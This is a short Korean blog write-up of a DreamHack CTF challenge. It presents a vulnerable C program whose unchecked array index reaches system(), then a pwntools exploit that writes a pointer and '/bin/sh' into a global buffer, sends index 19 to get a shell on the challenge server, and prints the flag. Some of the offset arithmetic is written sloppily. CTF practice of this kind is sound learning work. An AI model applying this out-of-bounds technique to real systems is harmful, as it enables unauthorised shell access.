Best of Best

[DreamHack] out_of_bound

pental 2024. 7. 11. 13:10

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = {
    "cat",
    "ls",
    "id",
    "ps",
    "file ./oob"
};
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

간단한 out_of_bound 취약점이 펑펑 터지는 문제이다.

main함수에서는 index를 정수형으로 선언하고, 전역변수로 name에 16의 크기를 주었다.

그리고 read 함수를 통해서 name 크기만큼 입력 받을 수 있다고 한다.

# name Address = 0x0804a0ac
# command Address = 0x0804a060

Name변수와 command의 변수의 주소값은 각각 위와 같다.

name변수에 값을 입력 받고 return값 위까지 4바이트가 더 붙는다.

name = (0x804a0ac + 4) => 8 + 4 = 12bytes + b"/bin/sh" = 4bytes = 16bytes
 
이렇게 16바이트를 채워주고, index의 참조 범위는 p32(px804a060) - p32(0x804a0ac)
 
> 0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]

 
eax * 4 + 0x804a060 ==> index Reference / 4 = 19
 
따라서 19만큼을 넣어주면 취약점이 펑펑~
 
from pwn import *

p = remote("host3.dreamhack.games", 19391)
p.recvuntil("Admin name: ")
payload = p32(0x804a0ac + 4) + b"/bin/sh"
p.sendline(payload)
p.recvuntil("What do you want?: ")
p.sendline("19")
p.interactive()

'''
# name Address = 0x0804a0ac
# command Address = 0x0804a060
name = (0x804a0ac + 4) => 8 + 4 = 12bytes + b"/bin/sh" = 4bytes = 16bytes
index Reference = p32(px804a060) - p32(0x804a0ac)

> 0x08048737 <+108>:   mov    eax,DWORD PTR [eax*4+0x804a060]

eax * 4 + 0x804a060 ==> index Reference / 4 = 19

DH{2524e20ddeee45f11c8eb91804d57296}
'''